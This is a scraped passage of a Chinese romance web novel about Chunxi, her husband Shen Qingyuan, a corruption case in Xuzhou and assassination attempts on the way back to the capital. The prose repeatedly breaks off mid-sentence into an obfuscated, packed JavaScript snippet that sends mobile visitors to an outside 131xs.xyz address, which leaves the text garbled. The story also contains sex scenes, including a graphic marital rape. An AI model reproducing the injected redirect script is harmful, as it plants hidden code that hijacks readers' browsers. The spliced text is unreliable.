沈清渊没想到她会直接用行动回答,脑子里名为理智的弦轰然崩裂,他猛然收紧手臂,死死箍住春喜的腰肢。 “嘶,大人你别这么用力,我的腰……呜~ 春喜退开了些,倒抽着冷气开口,然而话没说完,又被封了唇。 和前几次的亲吻不同,今天的沈清渊又凶又狠,像是恨不得把她整个人拆吞入腹。 春喜喉间不自觉发出一声呜咽,之前积攒那点儿经验在这个时候完全派不上用场,毫无招架之力。 她有些被吓到,忍不住往后缩,沈清渊却步步紧逼,不知不觉,她整个人都被逼到窗边,后背 抵在窗上,退无可退。 沈清渊却还觉得不够,强势地前进,与她严丝合缝地相贴。 两人之间的温度节节攀升,呼吸更是凌乱不堪,春喜大口大口地呼吸着,回过神来才发现沈清渊刚换的衣裳被她揪得皱巴巴的,领口都敞开了不少,露出小片硬实的胸膛。 “对不起啊大人,我不是故意的。 春喜说着想要收回手,沈清渊忽地抓住她的手,按在自己胸口:“没什么好对不起的,我不介意你对我动手动脚。 没了衣服遮挡,掌心之下的肌理结实滚烫,胸腔之下的心跳更是疾骤如擂。 这场景,像极了沈清渊第一夜醉酒,抓着她问要不要跟他试一试。 春喜指尖微蜷,终于察觉到危险。 但当沈清渊喘着气在她耳边问可不可以的时候,她没能说出拒绝。 有什么不可以的呢。 他们早就是拜了堂的夫妻,这段时间他更是对她处处维护,不曾让她受过半点委屈。 不管以后能不能到白头,至少现在她是真的喜欢他的。 春喜环住沈清渊的脖子算是回答,沈清渊不再犹豫,把春喜抱到床上。 床帐落下,春光无限。 春喜虽然有点害怕,但还是在心里劝自己长痛不如短痛,然而过了许久,想象中的疼痛并未到来,反而是她有些受不住。 春喜忍不住开口:“大人,是不是可以了? 黑暗中,沈清渊额头的青筋鼓跳,整个人都像是一张拉满的弓,绷到极致,但他还是强忍着说:“不急,再等等。 “…… 好吧,大人都不急,她总不能说她着急吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578756|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半刻钟后。 春喜忍不住翻身将沈清渊压制,怕沈清渊说话打断自己好不容易积攒起来的勇气,春喜直接捂住他的嘴。 “别说话,**不过头点地,大人不肯给我痛快,我自己来! 很快,春喜就为自己的莽撞无知悔断了肠。 “疼疼疼,大人,我知道错了! “诶?这就好了吗,我可以去洗澡了吗,等等,大人,我不是这个意思…… 难怪都说男人婚后会变脸,大人在这种事上就跟变了个人一样,一点儿君子之风都没有! 一切结束后,已经是后半夜。 春喜筋疲力尽,顾不上羞耻,任由沈清渊帮她清理完,沾到枕头就呼呼大睡。 沈清渊没有睡,听了会儿她细小的呼噜声,穿好衣服去往驿站后院。 他一到,暗卫立刻上前说:“大人,梁为民今夜往京里递了信。” 信是从粱府管家名下的一个果脯铺子送出去的,这个铺子每年都会送一些果脯到京里去。 这份藏有密信的果脯是送往太傅府的。 太傅是太子恩师,德高望重,桃李满天下,当年沈清渊也曾受过太傅指点。 密信已送往京中,暗卫把誊抄的那份递给沈清渊,沈清渊接过信细细地看起来。 梁夫人果然把春喜的话转告给了梁为民,梁为民怀疑卫家想搞垮他和太傅给卫凌泽铺路,让太傅早做打算。 梁为民既是在提醒太傅有危险,也是在向太傅求救。 这赈灾粮饷确实被他贪了,这事实在是经不起查。 沈清渊很快把信看完,用火折子把信烧掉,又拿出早就写好的一封信让暗卫送到京中给太子殿下。 做完这些,他回到屋里,春喜依然睡得香甜。 一身寒意消融,沈清渊伸手把春喜捞入怀中,许是还不太适应与人相拥而眠,春喜不满地哼哼出声,沈清渊揉了揉她的脑袋,沉声道:“是我,睡吧。” 春喜乖乖不动了,片刻后呢喃出声:“夫君,第一次都是这样的,我真的没有笑话你快。” “……” 第97章 现在说不愿意,迟了! 一群废物! 春喜被掳劫失败的消息被飞鸽传书送回京中卫凌泽气得把上好的砚台扔在地上摔得粉碎。 他本以为莫芸婉有点本事能让沈清渊陷入两难的境地加上梁为民这块油盐不进的滚刀肉沈清渊在徐州肯定会忙得焦头烂额这个时候煽动百姓趁乱**劫走春喜应该是很容易的事。 没想到竟然又失败了不仅如此还被沈清渊查到了卫家头上。 虽然卫凌泽并未亲自露面可以说是下面的人擅作主张但再次失败还是让他暴躁不已。 他想早日让春喜回到自己的掌控之中更想看着沈清渊被戏耍**可如今他得到的只有挫败感。 卫凌泽狠狠咬牙正不知该如何宣泄心中的情绪书房门被敲响萧清禾温软的声音传来:“卫郎我让厨房熬了绿豆汤你要喝一点吗?” “进。” 卫凌泽沉沉应声萧清禾推门而入看到地上的砚台碎渣眼皮微跳。 她似乎来的有些不是时候。 虽然春喜跟着沈清渊离开了瀚京但这些日子萧清禾和卫凌泽的关系依旧算不得融洽。 她不敢问卫凌泽遇到了什么烦心事放下绿豆汤就想离开刚跨出一步卫凌泽就从背后揽住她的腰整个人都贴了上来。 天气很热 她不觉羞涩只觉恐慌。 卫凌泽在房事上相当粗暴完全不在意她的感受从新婚夜到现在每一次她都只觉得疼。 “夫人才刚来怎么就急着走?” 卫凌泽贴在萧清禾的颈肩低喃湿热的呼吸喷在颈侧意图很明显萧清禾浑身的汗**都倒竖起来。 她抿了抿唇尽可能冷静地开口:“夫君母亲找我有点事。” “母亲知道你在我这儿不会来怪你的。” 卫凌泽说完收紧手臂手也跟着不安分起来。 今日他沐休难得在家萧清禾确实是想缓和一下关系但她没要用这样的方式而且还是在书房。 这让她觉得自己不是他的妻子而是可以被随意对待的玩物。 **感浮上心头萧清禾抓住卫凌泽的手加重语气提醒:“夫君不可白日宣淫。” 以往只要萧清禾拒绝卫凌泽都会停下然后甩脸色冷落她几日但今天卫凌泽格外坚持他不肯停手反而把萧清禾翻了个身面向自己勾唇道:“夫人夫妻之间是需要情趣的总是一个样子也会 让人觉得腻,不是吗?” 这话带着两分深意,不知是说夫妻之事还是在说她这个人。 男女力量悬殊大,卫凌泽已经挑开了萧清禾的裙带,他正要俯身亲来,萧清禾直接甩了他一巴掌。 萧清禾整个手掌都是麻的,眼眶红得厉害,整个人都控制不住轻轻发抖。 她定定地看着卫凌泽,一字一句地说:“我不愿意,你不能强迫我。” 虽然萧清禾用了全力,力气却比春喜小多了。 卫凌泽用舌尖顶了顶腮帮子,没有冷静下来,反而因为想到春喜而升起一股隐秘的兴奋。 日后把春喜捉回身边,他定是要把那一巴掌还回去的。 这般想着,卫凌泽把萧清禾抱到桌案上,强势地逼近。 脚不沾地的感觉让萧清禾不安极了,她试图反抗,却被卫凌泽抓住双手高举过头顶。 完全不被尊重的**和惶恐逼的萧清禾落下泪来,她忍不住骂道:“卫凌泽,你浑蛋!” 害怕和难过汹涌而来,萧清禾只骂了一句就泣不成声。 卫凌泽动作一顿,倾身去吻她面上的泪,萧清禾偏头躲开。 她本以为她都哭了,卫凌泽也该放手了,下一刻却听到卫凌泽说:“禾儿,嫁给我之前你应该已经想好会过上什么样的生活,你现在说不愿意,迟了!” 话音落下,卫凌泽粗暴地含住她的唇,另一只手更是探入衣襟,肆意妄为。 萧清禾瞪大眼睛,在片刻的怔愣后,恶狠狠地咬了卫凌泽一口。 血腥味在唇舌间蔓延开来,卫凌泽却没停,反而越发凶狠。 明亮的书房内,卫凌泽眸底的冷意如同尖刀刺进萧清禾的心脏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578757|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曾经将她捧在掌心的少年郎,终究是在过去三年的岁月里烂透了…… 不知过了多久,书房终于恢复宁静。 卫凌泽刚撤离,萧清禾就虚软的跌坐在地。 除了一开始骂了两句,后来她就一声不发,这会儿嘴唇都被咬烂,脸色更是苍白得可怕。 卫凌泽这会儿倒是又恢复温柔,帮她穿好衣裳,又帮她擦了擦眼角安慰:“禾儿,阴阳调和是人之常情,你既然已经成了我的妻子,就该满足我,你向来懂事,总不会想让别人担心我们感情不和吧?” 这话温温柔柔,全然不似方才的粗暴,萧清禾却听出了威胁之意。 一再拒绝是她这个做妻子的不对,就算说出去她也不占理,而且若是传出感情不和,别人也只会笑她自作自受,爱她的人还得跟着难过。 卫凌泽这是笃定了她会委曲求全,所以肆无忌惮。 真是卑劣至极! 周遭的空气让萧清禾都觉得恶心,抓紧衣襟站起来,摇摇晃晃地朝外走去,走到门口时,她回头看了卫凌泽一眼,一字一句道:“卫凌泽,从今天开始,我不爱你了!” 她的头发有些乱,脸色苍白,脸上泪痕未干,沙哑的嗓子说出这样的话,一点儿威慑力都没有。 卫凌泽的心脏却还是抽痛了下。 是年少的他在害怕失去。 可很快这种情绪就被他压了回去。 他瘫痪三年萧家都没有解除婚约,萧清禾怎可能不爱他呢?就算真的不爱,她都已经嫁给他为妻,难道还能不顾萧家所有女眷的名声与他和离? 她这辈子,都只能是他的卫夫人。 萧清禾离开后,卫凌泽很快把思绪放到夺回春喜这件事上。 上次擢升宴,府医给春喜诊过脉,成婚多日,春喜还是完璧之身,不管她和沈清渊演戏演得再好,也改变不了他们是假成婚的事实。 既然沈清渊演戏演上了瘾,那就让春喜丧夫好了。 反正有动机的人那么多,怎么都怀疑不到他头上。 第98章 夫君可以继续努力 沈清渊带兵抄了梁家。 梁为民的证据销毁得很干净,金银珠宝也早就转移走,虽然留下了一些价值高昂的用品摆件,但也说明不了什么。 沈清渊直接调的徐州校尉营的兵马来抄家,梁家里里外外都被围得水泄不通,连条狗都没能逃出去。 梁夫人和府上一众女眷吓得又哭又闹,梁为民倒还算镇定,不用官兵押送,自己来到沈清渊面前。 “沈大人,你这是什么意思?你虽是陛下钦点的钦差大臣,可代陛下行事,但本官可是一州州府,若无陛下手谕或是御史台的搜查令,你无权审问本官,更无权查抄本官的府邸! 梁为民的声音很大,底气十足,笃定沈清渊从家里搜不到任何对自己不利的证据。 在梁为民的怒视之下,沈清渊拿出一枚金令:“这是陛下亲赐金令,徐州重案殃及百姓无数,陛下特许微臣可以先斩后奏,梁大人有什么话,可以等进了牢房慢慢说。 陛下金令在前,梁为民没办法抵抗,却还是义正言辞地说:“去年赈灾下官尽心尽力,甚至还捐了一半家产,沈大人若因为一些捕风捉影的谣传抓我,是会让徐州上下所有官员寒心的! 那么大一笔赈灾粮饷,梁为民一个人自然是吃不下的,徐州上上下下的大小官员均有染指,谁敢把他供出来? 梁为民这番话说得铿锵有力,粱府的人顿时都哭着喊起冤来。 “谁告诉梁大人本官查的是粮饷贪墨? 听到这话,梁为民脸色巨变,胡须控制不住地颤动起来。 沈清渊之前照本宣科说那些治水法子是为了让他放松警惕,这些日子天天跟着他去查看水利设施也不是被他牵着鼻子走,而是为了实地勘察,确定堤坝的质量! 他一心想着销毁**罪证,堵住那些百姓的嘴就能平安度过,没想到从一开始沈清渊就是醉翁之意不在酒。 这个后生,不仅不是庸碌之辈,相反城府深得可怕。 这样的人怎可能在京兆府十年都未得升迁? 梁为民的案子牵连甚广,虽然有太子的人暗中协助,沈清渊还是忙得不可开交,连着好几日都没回驿站。 春喜暗暗松了口气。 她为了图一时痛快遭了罪,醒来后回想起自己的怂样简 直没脸看,而且沈清渊在床上的反差太大,她有点儿害怕,能缓冲几日实在是求之不得。 粱府都被抄了,回京的日子应该不远了,春喜抓紧时间把徐州美食品尝了个遍。 这晚她正翘着腿躺在床上想明天要吃什么,房门忽地被推开,沈清渊走了进来。 春喜毫无心理准备,猛然看到他,惊得险些从床上掉下来,脱口而出:“大人,你怎么回来了?” 话落,沈清渊掀眸看过来。 许是这几日都在审犯人的缘故,沈清渊的眼神十分锐利,压迫感很强,春喜连忙改口:“夫君。” 沈清渊这才收回目光,开口道:“我回来洗漱一下换身衣服,一会儿就走。” 才刚回来就要走啊。 没了害怕,春喜才发现几日不见她其实还挺想沈清渊的。 而且仔细一看,沈清渊衣服上都是脏污,面上更是充满疲惫。 春喜想到自己这几日吃香的喝辣的,顿觉心虚,连忙道:“夫君这几日肯定没有好好吃饭,我去给夫君煮碗馄饨,很快就上来,夫君等我!” 不等沈清渊回答,春喜飞快地跑去厨房,没一会儿,便端着一碗热气腾腾的馄饨回来,绕过屏风,却发现沈清渊靠坐在浴桶睡着了。 春喜一顿,泛起心疼。 这几日大人肯定很累,她却只顾着害羞,都没想着给大人送饭关心一下大人,实在是太不应该了。 春喜在心里反省了一番,正想退出去让沈清渊多睡会儿,沈清渊就醒了过来。 “馄饨煮好了?” 问着话,沈清渊直接跨出浴桶擦身子。 春喜下意识地想转过身去,但想到两人都有了夫妻之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578758|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,而且沈清渊又这么累,当即拿起干净衣服帮沈清渊更衣。 沈清渊有些意外,沉沉道:“夫人若是不喜与我亲近,可以不用逼自己做不喜欢的事。” “我没有!”春喜连忙否认,“我很愿意伺候夫君的。” 这话并没有让沈清渊高兴起来,他垂下眸子:“我知道那晚我的表现让夫人失望了,夫人不愿见我也是应该的。” “……” 虽然她确实是有点儿躲避的心理,但那是因为害羞,姑娘家第一次做那么亲密的事,有点儿不好意思很正常吧,怎么就变成失望了? “我只是有点儿害羞,没有对夫君失望,”春喜连忙解释,见沈清渊不信,又道,“刚开始那次的确结束得有些出乎意料,但夫君不是马上就证明自己了吗,第二天一整天我走路腿都是软的呢。” 为了增加可信度,春喜的眼睛睁得大大的。 沈清渊却还是很低落:“时间长短并不能证明什么,重要的是夫人的感受,夫人若是能从中感受到我的喜欢,并且觉得舒服,就不会害羞想躲着我了。” “……” 哪有人做完那种事还问感受的? 成婚之前她娘也没说过还有这一出啊。 沈清渊这问题问得突然,春喜不自觉回想了一下。 沈清渊虽然看着很凶,但其实一直挺克制的,在她喊疼的时候,还一直安慰她,后来好像是不那么疼了,还挺…… 春喜猛然掐断思绪,一抬头就见沈清渊正有些期待地看着自己。 大人,你总是装受伤来套我的话,不觉得自己很像大尾巴狼吗? “咳咳,”春喜清了清嗓子,煞有其事地开口,“感受嘛,还行吧,毕竟我也是第一次,没什么经验,也没有可以参考的,夫君要是觉得自己不行可以继续努力。” 春喜眸底含着笑,像只摇头晃脑的小狐狸。 虽然没有得到自己想要的答案,沈清渊眸底也还是染上笑意,点头道:“好,我继续努力。” 第99章 你自己来还是我来? 几乎是连轴转了半个多月,梁为民终于交代了全部的真相,其他涉案官员也都放弃抵抗。 沈清渊先写了折子让暗卫送回京中,然后才押送案犯回京接受御史台的审讯。 为了不耽误行程,春喜又换回男子装扮,和大家一起骑马. 沈清宇当即提出**:“大哥,这案子既然查清了,早点晚点回京都一样,我和大……表姐还受着伤呢,你好歹为我们考虑一下吧。 那日百姓**,春喜的马车被围,沈清宇不帮着救人,还在一边幸灾乐祸地看热闹,沈清渊审问完**的人,就把他赶出了医馆。 见识过沈清渊抄没梁家的雷厉风行,沈清宇不敢再在沈清渊面前叫莫芸婉大嫂,只能按照莫芸婉出阁前的身份叫表姐。 沈清渊凉凉地扫了沈清宇一眼,不带一丝感情地开口:“我为什么要为你们考虑,是我叫你们来的吗? 沈清宇噎住。 他是奉**命来接莫芸婉回家的,本来他应该提前带着莫芸婉回京,帮莫芸婉在侯府稳固地位的,但他刚来就受了伤,没办法赶路,就拖到了现在。 虽然莫芸婉已经答应回去后要跟沈清渊解除婚约,但未经两家长辈许可,这事还做不得数,他们肯定是要跟着一起回京的,不然沈清渊先回去把事定了,那一切都晚了。 知道沈清渊向来说一不二,沈清宇只能看向春喜:“你不是一直想让我认你做大嫂吗,这个时候你怎么不说话? 分明是在求人,沈清宇的姿态却还是高傲的,好像他能给春喜一个做他大嫂的机会对春喜来说是什么荣幸的事。 “三弟,嫂嫂自然是心疼你的,春喜顺着沈清宇的话开口,沈清宇正要得意,又听到春喜说,“可亲疏有别,三弟的伤痛和夫君的前程比起来实在是不值一提啊。 沈清宇:“…… 果然一个被窝睡不出两种人,他大哥就是个道貌岸然的**子,又能喜欢什么好货色? 沈清宇改变不了沈清渊的决定,只能花钱雇了徐州城里技术最好的车夫,再把马车加固,铺上厚厚的垫子减少颠簸。 如此一来,马车确实不怎么颠簸了,但出发没多久,他们就被远远抛在后面。 莫芸婉忍不住找到沈清宇:“三弟,这样下去我们就赶不上大家了,不如我们也改骑马吧。 “我倒是能忍疼,表姐可以吗? “我可以。 莫芸婉毫不犹豫地点头。 她好不容易才逃出生天,有了回到 家人身边的机会,哪怕是上刀山下火海她也在所不惜。 莫芸婉眼神坚定,于柔婉愁郁的气质中生出两分刚强,这样的反差让沈清宇不由得心中一颤。 他还从未见过像莫芸婉这般柔中带刚的女子,若是……若是她没有先一步嫁给大哥就好了。 在莫芸婉的强烈要求下,沈清宇果断换了马车改骑马。 一路日夜兼程的赶路,终于在十日后在益州驿站追上了沈清渊。 他们到时已是夜里,沈清渊和春喜刚刚用过晚饭,为了犒劳大家,还烤了一只烤全羊。 虽然不能喝酒,但众人还是把一只羊分吃得干干净净。 沈清宇这几日风餐露宿,紧赶慢赶颠得骨头都快散架了,看到尚未熄灭的火堆上那只完整的羊骨架,顿时怨念横生,忍不住指着沈清渊控诉:“大哥这么着急赶路把我们甩在后面,不会是心里有鬼,不敢面对表姐吧? 沈清渊并未理会沈清宇,只偏头对春喜说:“我那里有药,一会儿帮你擦一下。 春喜当即摇头:“我没受伤,不用擦药。 这个天气赶路,汗水打湿衣裳,皮肉难免被磨破,春喜也就今天下马的时候忍不住倒吸了口凉气,也不知道大人是怎么听到的。 磨破皮的地方就在大腿内侧,怎好意思让大人帮她上药? 春喜眨眨眼,一脸的真诚,沈清渊却没有被她蒙骗过去,直接拉着她进到房间。 “夫君,我真的没有受伤,夫妻之间最重要的就是信任,你难道对我这点儿信任都没有吗? 春喜死鸭子嘴硬,沈清渊关上门,定定地看着她:“你自己脱还是我脱? 春喜:“…… 大人,明明你一脸正气,做的也是正经事,怎么说出来的话这么让人想入非非呢? 春喜不想被沈清渊摁在床上强行扒掉裤子,只能退一步说:“我看今晚月亮挺亮的,我自己脱,能把灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578759|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先熄了吗? “可以。 沈清渊爽快答应。 这一路赶路实在辛苦,连他这样的大男人都受不住,春喜能不叫苦不叫累已经非常厉害了,他自然不会在这种时候还想要做些什么。 熄了灯,春喜乖乖脱了裤子趴在床上。 借着月光,沈清渊才发现她大腿内侧不止被磨破了皮,而是一片鲜血淋漓。 可这几日她都和往常一样精神抖擞,甚至还有心思说笑话给大家解闷儿,若不是方才到驿站的时候不经意间听到她吸了两口气,他根本想不到她竟 然伤得这样厉害! 药膏碰到伤口,春喜控制不住抖了抖,她刚想说些什么转移注意力,就听到沈清渊问:“伤成这样怎么不跟我说?” “前两天还好好的,就是今天太热了才会这样,我晚上本来也是想找点儿药擦擦的。” 春喜立刻解释,她说得很快,显然是早就想好了说辞。 沈清渊却没有被她带偏,加重语气:“曹春喜,你可知我是你的夫君?” 春喜是第一次听到沈清渊如此郑重其事地喊自己的全名,心脏控制不住颤了颤。 “夫君,我错了,我以后再也不瞒你了。” 春喜立刻认错服软。 她是害怕惹沈清渊生气的。 他待她这样好,处处维护她,把自己娘亲留下来的嫁妆统统交给她打理,还让她在院子里盖小厨房,让她在侯府也有了家的感觉,她欢喜极了,只想跟他一直这么好下去。 “夫君……” 沈清渊没有回答,春喜越发急了,她扭过头想要好好解释清楚,却被沈清渊低声喝止:“别说话!” “……” 大人凶了她? 以前春喜觉得戏文里为了男人要死要活的女子实在傻得可怜,但这一刻,她忽然理解了。 她只是被大人凶了一句,就感觉整颗心都酸楚难忍,那些女子被情郎抛弃背叛而痛不欲生实在是太情有可原了! 春喜正觉伤怀,就见房间门的窗纱被戳了个洞,一根竹筒戳进来,而后吹进袅袅白烟。 春喜:“……” 天杀的刺客,我裤子还没提上呢! 第100章 回京 沈清渊把枕头藏在被子里假装床上有人,而后揽着春喜藏到床帐后面。 过了会儿,两个刺客估摸着**应该生效了,用**撬开房门,轻手轻脚地摸了进来。 对方穿着驿站差役穿的粗布短打,并未用面巾遮挡,样貌瞧着很普通,只是眼神冷厉,透着股子冷血无情的杀意。 两人进到屋里,并未直接动手**,而是掀开被子想先确定床上两人的身份。 发现被子底下只有枕头,两人脸色微变,然而不等他们反应过来,沈清渊就快如闪电的出手。 走在前面掀被子的人被一脚踹飞,另一人则被沈清渊夺去手里的刀,逼到屋外。 两人身手高强,很快反应过来,立刻默契地配合着夹击沈清渊。 不过眨眼,三人就从楼上打到驿站后院。 春喜一边骂娘一边忍着痛系上裤腰带。 大晚上行刺,偏偏还挑在这种时候,我曹春喜跟你们拼了! 春喜抓起屋里的条凳冲出屋子。 后院里,场面有些僵持,沈清渊以一敌二虽然没有落入下风,却也不能将两人拿下,正在这时,春喜嗷一嗓子大喊起来:“快来人啊,有刺客!” 喊话的同时,春喜拼尽全力将手里的条凳甩出去。 其中一个想要逃跑的刺客刚施展轻功跃起来一点儿,就被条凳砸中,重重落地,另一人则被沈清渊砍伤胳膊,一脚踹飞。 下一刻,随行的禁卫军赶到将两人拿下,驿站各处都亮起灯火,沈清宇和莫芸婉也第一时间赶来查看情况。 “怎么回事,哪里来的刺客?” 沈清宇脸色有些难看。 他本以为跟着沈清渊一起回京是安全的,没想到竟然会遇到刺客。 想来也是,徐州这个案子牵连甚广,京中的贵人可能都得了好处,怎会希望沈清渊顺利押送案犯回京? 沈清渊还是没有搭理沈清宇,他本想先审问那两个**,两人却在第一时间服毒自尽。 夜色下,沈清渊的脸色晦暗难明,肃冷的气息在空气中蔓延开来。 沈清宇搓了搓胳膊,又问:“他们**了,现在怎么办,还会有刺客来吗?” 要是还有刺客来,他这个大哥可不一定会顾他们的死活,分开走也许更安全一些。 沈清渊完全把沈清宇当空气,只对旁边的人吩咐:“把这两人的尸首交给益州州府,悬在城楼上曝尸三日,若无人认领,就丢去乱葬岗喂狗。” 天上不知什么时候**起了乌云 ,月光被遮了大半,夜色变得浓稠,空气跟着变得闷热,沈清渊的声音在夜色中格外的冷,像是万年不化的寒冰,他手里的刀还在往下滴血,整个人没了白日的正气凛然,反倒像是铁血无情的阎罗。 莫芸婉掐紧掌心,竭力克制,却还是控制不住生出害怕。 之前她看见沈清渊强劲有力的身子生出的遐想在这一刻都变成了恐惧。 若是沈清渊有一日知道她与戏子奔逃的真相,会不会也把她剁了喂狗? 这般想着,莫芸婉忍不住后退了一步,这时身后突然传来哒哒的脚步声,春喜飞快地穿过人群冲到沈清渊身旁,冲着那两具尸体就是一通踹。 “君子爱财取之有道,你们杀谁不好,竟然来杀我家夫君,你们知不知道他刚刚才抓了个大贪官为民除害,赚这种黑心钱,你们**都得下十八层地狱!” 春喜义愤填膺,不仅不害怕,这架势凶得像是恨不得把这两人鞭尸。 和刚刚下令要把曝尸三日再剁了喂狗的沈清渊如出一辙。 这一刻莫芸婉忽然意识到,她争不过这个叫曹春喜的女人。 她虽然会装柔弱搏同情,但她绝对没有胆子在这种时候冲到沈清渊身边维护他,还付诸行动帮他出气。 她想回到侯府,只能另谋出路了。 这般想着,莫芸婉把目光投向了沈清宇。 无人在意莫芸婉的变化,沈清渊怕春喜扯到伤口,直接把她抱回了房间。 后半夜,大雨瓢泼而至。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清远侯对这个家没什么感情,他不在意沈清宇有没有被戏耍**,只觉得自己离开小心肝在侯府白等了好几日简直是浪费时间,冷着脸对莫家的人说:“儿孙自有儿孙福,孩子们都大了,我们这些老东西管太多只会招人嫌,你们愿意继续等就等着吧,我不奉陪了!” 清远侯说完拂袖而去,莫氏在娘家人面前没了脸,顿时委屈地哭出来:“你们都看见了,我这命真的好苦啊!” 莫家人:“……” 你之前不是说侯府上下早就被你管得服服帖帖了吗,怎么还没交锋就被那个逆子挫了气势? 第101章 为夫会为夫人请功 沈清宇和莫芸婉回到瀚京半个月后沈清渊和春喜才慢悠悠地抵达盂县。 莫氏一直让人密切关注着沈清渊的动态听说两人抵达盂县立刻派人去通知莫家第二日一大早两家人又是严阵以待然而一直等到傍晚沈清渊也还是不见回来。 宁氏为了女儿倒是愿意费些功夫但莫家那些族老连着扑了两次空老脸就有些挂不住了。 他们活到这么大把年纪在族人面前一直都是极有威严的却连着被一个小辈遛了两次传出去像什么话? 莫家族老们阴阳怪气了一通拂袖而去。 莫氏恨得险些咬碎一口牙。 这个逆子以为他逃得掉吗?不管他再怎么拖延时间都必须认下婉儿这个妻! 怕再闹出乌龙沈清越主动要求去接人沈清宇也想一起沈清越直接拒绝:“我去就可以了三弟的伤还没痊愈就好好在家休养吧。” 第二日中午沈清越带人到了盂县官驿。 驿站里沈清渊在屋里看书春喜在厨房鼓捣了一上午终于做出一盘像模像样的拔丝地瓜两人看着都挺悠闲的。 虽然如此沈清越还是上前道:“大哥大嫂此行辛苦了母亲特让我来迎你们回家。” 沈清越向来比沈清宇说话好听些。 因这一句辛苦春喜多拿了一双筷子给他:“我和你大哥又不是不认路哪里需要劳烦二弟跑这一趟二弟快尝尝我做的拔丝地瓜。” 等沈清越接过筷子春喜便滔滔不绝地说起这一路的危险来。 “二弟你是不知道你大哥不仅查案辛苦回来这一路更是危机四伏光是我知道的暗杀就有四五波呢 春喜骂得很直白沈清越动作一顿他先看了沈清渊一眼见沈清渊没有要阻止的意思这才看着春喜好奇道:“有人要暗杀大哥?” “是啊我跟你大哥一直都形影不离但那些刺客根本不理我每次都冲你大哥去放暗箭、下毒甚至还有纵火一次比一次阴损你说如果是有人不想徐州的案子真相大白该刺杀梁为民那个狗官才对这些刺客为什么独独要盯着你大哥不放?” 春喜拍着大腿情绪激动跟街头巷尾的长舌妇没什么两样沈清越却在听到最后一句话的时候后背发凉。 那些刺客不想着**灭口只是冲着沈清渊去不像是为了掩藏真相更像是出于某种目的想害死沈清渊。 可沈清渊在京 兆府十年都未得升迁,在朝中并无树敌,他死后最大的获益者就是莫氏这个继母和他同父异母的弟弟。 他娘想侵吞萧氏留下来的嫁妆,还想霸占世子之位是个人都能看得出来,这次三弟去徐州又受了伤,他娘一气之下犯蠢想找人弄死沈清渊也不是不可能。 快速思索一番后,沈清越试探着问:“这些刺客怎么如此猖獗,可有抓到活口?” “这些刺客都是专业的**,一旦失败就会服毒**,很难抓到活口,”春喜叹着气摇了摇头,沈清越心头大定,正要接话,又听到春喜说,“不过你大哥找名医研究出了解药,前不久救活了一个,等回去好好审问一番,应该就能知道那个缺德玩意儿是谁了。” “……” 沈清越暗暗攥紧拳头,因为这突如其来的消息,也不敢催沈清渊快点回家了。 这到底是不是他娘犯下的蠢事? 又在驿站停留了两日,沈清渊才下令回京。 沈清渊不止押送了梁为民和下面涉事的官员,还带了一些徐州的百姓入京,在驿站逗留这几日,便是为了等这些百姓。 加上随行的禁卫军,浩浩荡荡有上百人。 一进城,这些百姓就自发地喊起冤来,同时大声呼喊,说沈清渊是为他们做主的青天大老爷,不过几个时辰,京兆府的沈大人到徐州抓了个大贪官的消息就传遍了瀚京,京中百姓也都交口称赞。 沈清越走在队伍之中,看着沈清渊的背影,一颗心往下沉了又沉。 这个大哥的性子素来冷淡,也不爱争抢什么,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 